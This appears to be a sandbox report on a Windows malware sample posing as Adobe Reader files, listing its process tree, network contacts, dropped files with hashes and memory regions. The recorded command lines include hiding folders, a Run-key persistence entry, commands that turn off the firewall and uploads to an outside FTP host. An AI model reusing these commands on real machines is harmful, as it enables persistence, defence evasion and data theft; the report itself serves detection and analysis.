PID 2688 wrote to memory of 3052 N/A C:\Users\Admin\AppData\Roaming\Adobe\Adobe Inc\AdobeRead\adbr01.exe C:\Users\Admin\AppData\Roaming\Adobe\Adobe Inc\AdobeRead\adbr01.exe
PID 2688 wrote to memory of 3052 N/A C:\Users\Admin\AppData\Roaming\Adobe\Adobe Inc\AdobeRead\adbr01.exe C:\Users\Admin\AppData\Roaming\Adobe\Adobe Inc\AdobeRead\adbr01.exe
PID 2688 wrote to memory of 3052 N/A C:\Users\Admin\AppData\Roaming\Adobe\Adobe Inc\AdobeRead\adbr01.exe C:\Users\Admin\AppData\Roaming\Adobe\Adobe Inc\AdobeRead\adbr01.exe

Views/modifies file attributes

evasion
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\attrib.exe N/A
N/A N/A C:\Windows\SysWOW64\attrib.exe N/A
N/A N/A C:\Windows\SysWOW64\attrib.exe N/A
N/A N/A C:\Windows\SysWOW64\attrib.exe N/A
N/A N/A C:\Windows\SysWOW64\attrib.exe N/A

Processes

C:\Users\Admin\AppData\Local\Temp\f881941f711f3d797027dede73b477345f361838d24bf08e558f11db0f58cd19.exe

"C:\Users\Admin\AppData\Local\Temp\f881941f711f3d797027dede73b477345f361838d24bf08e558f11db0f58cd19.exe"

C:\Windows\SysWOW64\WScript.exe

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\AdobeR\ADBR\READER\Adobedc.vbs"

C:\Windows\SysWOW64\cmd.exe

C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\AdobeR\ADBR\READER\Adob03.bat" /quiet /passive /norestart"

C:\Windows\SysWOW64\xcopy.exe

xcopy /y /h /e /r /k /c *.* "C:\Users\Admin\AppData\Roaming\Adobe\Adobe Inc\AdobeRead\"

C:\Windows\SysWOW64\attrib.exe

attrib +r +a +s +h "C:\Users\Admin\AppData\Roaming\Adobe\Adobe Inc\AdobeRead"

C:\Windows\SysWOW64\attrib.exe

attrib +r +a +s +h "C:\Users\Admin\AppData\Roaming\Adobe Reader\AdobeR"

C:\Windows\SysWOW64\attrib.exe

attrib +r +a +s +h "C:\Users\Admin\AppData\Roaming\Adobe Reader\ADBR\READER"

C:\Windows\SysWOW64\attrib.exe

attrib +r +a +s +h "C:\Users\Admin\AppData\Roaming\AdobeR\ADBR\READER"

C:\Windows\SysWOW64\attrib.exe

attrib +r +a +s +h "C:\Users\Admin\AppData\Roaming\AdobeR"

C:\Windows\SysWOW64\WScript.exe

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\Adobe\Adobe Inc\AdobeRead\Adob9.vbs"

C:\Windows\SysWOW64\cmd.exe

C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Adobe\Adobe Inc\AdobeRead\rea01.bat" /quiet /passive /norestart"

C:\Users\Admin\AppData\Roaming\Adobe\Adobe Inc\AdobeRead\Adobeta.exe

Adobeta.exe -a -c -d -natpasv -s:01.klm ftp.freehostia.com -s

C:\Windows\SysWOW64\reg.exe

REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "AdobeA" /t REG_SZ /F /D "C:\Users\Admin\AppData\Roaming\Adobe\Adobe Inc\AdobeRead\acro4.bat"

C:\Windows\SysWOW64\ipconfig.exe

ipconfig /all

C:\Users\Admin\AppData\Roaming\Adobe\Adobe Inc\AdobeRead\adbr01.exe

adbr01.exe -f "011.011"

C:\Users\Admin\AppData\Roaming\Adobe\Adobe Inc\AdobeRead\adbr01.exe

adbr01.exe -f "011.011"

C:\Users\Admin\AppData\Roaming\Adobe\Adobe Inc\AdobeRead\adbr02.exe

adbr02.exe -f "112.112"

C:\Users\Admin\AppData\Roaming\Adobe\Adobe Inc\AdobeRead\adbr02.exe

adbr02.exe -f "112.112"

C:\Windows\SysWOW64\netsh.exe

netsh firewall set opmode disable

C:\Windows\SysWOW64\netsh.exe

netsh advfirewall set currentprofile state off

C:\Windows\SysWOW64\netsh.exe

netsh advfirewall set profiles state off

C:\Windows\SysWOW64\netsh.exe

NetSh Advfirewall set allprofiles state off

C:\Users\Admin\AppData\Roaming\Adobe\Adobe Inc\AdobeRead\Adobeta.exe

Adobeta.exe -a -c -d -natpasv -s:004.afq ftp.freehostia.com

C:\Users\Admin\AppData\Roaming\Adobe\Adobe Inc\AdobeRead\AReader.exe

AReader 5400

Network

Country Destination Domain Proto
US 8.8.8.8:53 232.168.11.51.in-addr.arpa udp
US 8.8.8.8:53 35.56.20.217.in-addr.arpa udp
US 8.8.8.8:53 0.159.190.20.in-addr.arpa udp
US 8.8.8.8:53 95.221.229.192.in-addr.arpa udp
US 8.8.8.8:53 28.118.140.52.in-addr.arpa udp
US 8.8.8.8:53 58.55.71.13.in-addr.arpa udp
US 8.8.8.8:53 ftp.freehostia.com udp
US 198.23.57.8:21 ftp.freehostia.com tcp
US 8.8.8.8:53 183.59.114.20.in-addr.arpa udp
US 8.8.8.8:53 56.126.166.20.in-addr.arpa udp
US 8.8.8.8:53 107.12.20.2.in-addr.arpa udp
US 8.8.8.8:53 172.214.232.199.in-addr.arpa udp
US 8.8.8.8:53 13.227.111.52.in-addr.arpa udp

Files

C:\Users\Admin\AppData\Roaming\AdobeR\ADBR\READER\Adobedc.vbs

MD5 ce8041824149d8266dbb0ad9688224d7
SHA1 3ab653c43ce66681ceaab90193e1a4c95d998090
SHA256 0a697bf8507b3f517afe7d67ed0f12f1a8d0edbb72252d75cc7677d6e2e638c5
SHA512 e1a205a1665fe5beb3c53cdcff4eb9c66a4773d730215ff87a179f3c825d342f8f7e8b5e65e45e6a1f13dfe7f58a09f5a920ce9416fe231d74ad1d99e60bd21d

C:\Users\Admin\AppData\Roaming\AdobeR\ADBR\READER\Adob03.bat

MD5 97410477dc9501dffca4ea4b1ae57273
SHA1 fb573b3bf4eba734b0f32db1a5b7ff78de36b064
SHA256 3836545f759c1ff93892ea0ef81424c8acdef7dc9440e8404bc04662fe7e6f2c
SHA512 3d22d0bf5375f3cedc7f6bdc0b2fac8de834a1b80567a2395046c5aada74d87e8338fbd0f787b14dbe3f5914c9a751597f1332d89d19f6d96de195ef334cc915

C:\Users\Admin\AppData\Roaming\AdobeR\ADBR\READER\004.afq

MD5 3599c797ad0bf899791bfa24413c3ab6
SHA1 215a520638bb3f1336f268d1acc1170bf2ce0768
SHA256 0a9963eefd15805efaef32bf961b354fc255a5a23b4d466aa8e94df53a3c3e8c
SHA512 add003202c97629f2d87d4b7f1876d79dc1ae35cfc85fc55e578adbc3cc009e41ca42c66f33521acb5d8a651fe31d69de5699af1df82ada8227bbeeddbe8d5d1

C:\Users\Admin\AppData\Roaming\AdobeR\ADBR\READER\adbr02.exe

MD5 75a35514185cd2c5cf5aab50cc380963
SHA1 f1ff1e088f910398a48f4f7dfddec24e6d6d1734
SHA256 1cf5eb2f7c5cd5b7d036478d30408212494ab73190172c63df67e66350374937
SHA512 ca6bb433fe5fd4ea350dfa40dd80bb6913ea4693b6ba6188e67f55e4211db9975fd7af570546bce0fd877a3bfeceadd4da9ba9c46c6cb69f9963914739e16297

C:\Users\Admin\AppData\Roaming\AdobeR\ADBR\READER\adbr01.exe

MD5 3351585db91521d6fa543490ac7cd6a5
SHA1 9be2b3abf17613d7386f9949cabaedd466902e82
SHA256 3f1749d4a96eb85fe2104fef8d871d9696b456615ff3775d484cc2c2431f40b4
SHA512 804b293c02a5526b8c7d5dc48edc18cb33e06a07b39a0b3f46d8d34387e1848b245b087fd820a4a14ac4866c85a120837217ddc9bb47ef32e1b5b80f0dc66d30

C:\Users\Admin\AppData\Roaming\AdobeR\ADBR\READER\acro4.bat

MD5 89412aba215b6cd18b8a64c4485fa03f
SHA1 37089346499f54a7d89262a67d95c8764ab3ca1f
SHA256 9607fb2a0e2ea02cd674272680a238d21539071db3c9735818a1abf11ff30ff1
SHA512 7afe571b9ad4b67fdf00cecade8645e82471c1c5098b563a2e2d0cff96905f34b6071eb93c86f59850335e7e88d988d6c016553cdbbe1a693e1cdc3082a3790b

C:\Users\Admin\AppData\Roaming\AdobeR\ADBR\READER\Adob9.vbs

MD5 09082253605a7171f078e26dc308a667
SHA1 585286c9fcda5e66e7fdb4e17a7bab6160183d46
SHA256 f4c67dc01ce4bf55e1b574009c49d481dad0d33070f53f42bc76807eb5e324ed
SHA512 adb4a1fec6feada14b8b4f28730e098a0af19f1e7c2fa0fe684030d1171e56c88813661a2352ce598221853fce3dc8a4bb3b2e1dc80b6471c41d2598f635b1d8

C:\Users\Admin\AppData\Roaming\AdobeR\ADBR\READER\AReader.exe

MD5 1a1075e5e307f3a4b8527110a51ce827
SHA1 f453838ed21020b7ca059244feea8579e5aa74ef
SHA256 ddd90e3546e95b0991df26a17cf26fa2f1c20d6a1fd4ffccf1e9b3ec3d3810d5
SHA512 b6b70c6cb3cdb05a69c75b86c1fa0fadb38de0391e1fa17daff7d12dfae2a9f483546d9bf1001ff622694fdf8a28b85cd30fc541c25be62df022d22ca17decc1

C:\Users\Admin\AppData\Roaming\AdobeR\ADBR\READER\rea01.bat

MD5 ce7ccd3b48dbe8f34db3b2b1222e4fd9
SHA1 e25f9947c2b250c98dffd7bfeaca75b4db17dcfd
SHA256 6374a35588bd20362e54dff9e8cf0dffba5ba0ec5952a08fb51caea54c5d228e
SHA512 ee6b389f29d30a572c7c9837575df7ff197589824c5377f02b7c453572139d4ecc75c5b194a601b953fbb7e692b3929faf8c4e14e7fec51cd25d71658636ef99

C:\Users\Admin\AppData\Roaming\AdobeR\ADBR\READER\Adobeta.exe

MD5 97b8dbcc7b3cc290aef4241df911ac2e
SHA1 733ababbcd278821d4e3ee78580841981f26642e
SHA256 c44ca1fe145c4f0dcea4efb95171cbf16dfec9fe66a603fbe29c94c21050a023
SHA512 4adaa7621e2c858e6541792146260142e1d28683ec1515a743a56bc106ab425edfce856ef3b0d146d63704b34694c9e666a39e3845a097d41cbf465537ec9b25

memory/2688-55-0x0000000000400000-0x00000000006B4000-memory.dmp

memory/3052-57-0x0000000000400000-0x00000000006B4000-memory.dmp

memory/3052-59-0x0000000002BF0000-0x0000000002DFC000-memory.dmp

memory/3052-63-0x0000000002BF0000-0x0000000002DFC000-memory.dmp

memory/3052-70-0x0000000000400000-0x00000000006B4000-memory.dmp

memory/3052-71-0x0000000000400000-0x00000000006B4000-memory.dmp

memory/3052-73-0x0000000000400000-0x00000000006B4000-memory.dmp

memory/3052-72-0x0000000000400000-0x00000000006B4000-memory.dmp

memory/3052-74-0x0000000002BF0000-0x0000000002DFC000-memory.dmp

memory/3052-80-0x0000000002BF0000-0x0000000002DFC000-memory.dmp

memory/2688-86-0x0000000000400000-0x00000000006B4000-memory.dmp

memory/3052-85-0x0000000002BF0000-0x0000000002DFC000-memory.dmp

memory/1728-90-0x0000000000400000-0x00000000006B7000-memory.dmp

memory/1296-94-0x0000000000400000-0x00000000006B7000-memory.dmp

memory/1296-96-0x00000000029D0000-0x0000000002BDC000-memory.dmp

memory/1296-100-0x00000000029D0000-0x0000000002BDC000-memory.dmp

C:\ProgramData\TEMP\RAIDTest

MD5 c2f09542b6c7daf4288f3524c8cebb18
SHA1 9430b21baf07f0d105b9ee5fdd9f868418454517
SHA256 55d7808233c58f1606fff77eb382a02ed729bf5d8b2640fb313d0f7c91e970d4
SHA512 dcc19cfbc78b78708ce2586228424194f846d80b6d072045baaf93559d20f71e809a4eb57e7dac3b4ea109d90aeb585d0b5438dc1dd7d34054c03aa6350d6672

C:\ProgramData\Licenses\086A4C8982A52E70F.Lic

MD5 cf8fce107b6167c43cb3a7791dcdd7c9
SHA1 758d61065062c015937b695f0550c5b8f75dbb45
SHA256 c6b59125a96d9a20cf4d56bb5976ca3e0c074c0fdf7933db5f8c41791b1d0183
SHA512 0122aa95770bb3470b1ba40015c70696f3ae460686c22009d268e714b6fbede4a02e19205f3006278b0af304dc296e978dfec1732e3f976c29b3514b8ff03777

C:\ProgramData\TEMP:663565B1

MD5 4fcd8942b0a4ff873975183607148145
SHA1 b0fd953238dac210e011301c5005ea90ebcd9816
SHA256 fa148aaa79fe7ac24e265b7bbd753f3c17be7c4ab8334716ba0f44df7e51ccc4
SHA512 968406b92fdcb7cdaab8b17ed87ffb9ee9d795c666f8549002c0f11c8bc868394e05513e6243399443b5c59d5b75cf02ccd35140e43525380601c4068f09dd31

memory/1296-109-0x0000000000400000-0x00000000006B7000-memory.dmp

memory/1296-110-0x0000000000400000-0x00000000006B7000-memory.dmp

memory/1296-112-0x0000000000400000-0x00000000006B7000-memory.dmp

memory/1296-111-0x0000000000400000-0x00000000006B7000-memory.dmp

memory/1296-113-0x00000000029D0000-0x0000000002BDC000-memory.dmp

memory/1296-119-0x00000000029D0000-0x0000000002BDC000-memory.dmp

memory/1728-120-0x0000000000400000-0x00000000006B7000-memory.dmp

C:\Users\Admin\AppData\Roaming\Adobe\Adobe Inc\AdobeRead\011.011

MD5 c99724546af27ab5151ec9771474b64c
SHA1 4bb578de15d7a7ab8719ebc9dc6259f7a7004cce
SHA256 971e1188d6f500b30ff2cffca687daf24dc24e8e2a1747db04779d9b6cb2fa8b
SHA512 41de6aed4b5145e68f37b3a72a8ac055e90a82c0a281648e1d9c38263a022dc1c6e7adc8d47340de689692fc77b470e51a1dfd27441fd2ecfad70a5e11fe03ea

C:\Users\Admin\AppData\Roaming\Adobe\Adobe Inc\AdobeRead\112.112

MD5 3c305699054489d4ba953729549294b8
SHA1 272b920622013b83dc073c26b75f5968663496c5
SHA256 52392e1693a81b409ab85297d0dc90dd360b0fd3ba022341499ab3f23add16d8
SHA512 7051b5a88aa709cf6496bddd82c91cc8d198390825c202ec34d1295e1070e62cf92566390dbd083b091a7c83d539d17751790e9cba569f4f566cd90de488000b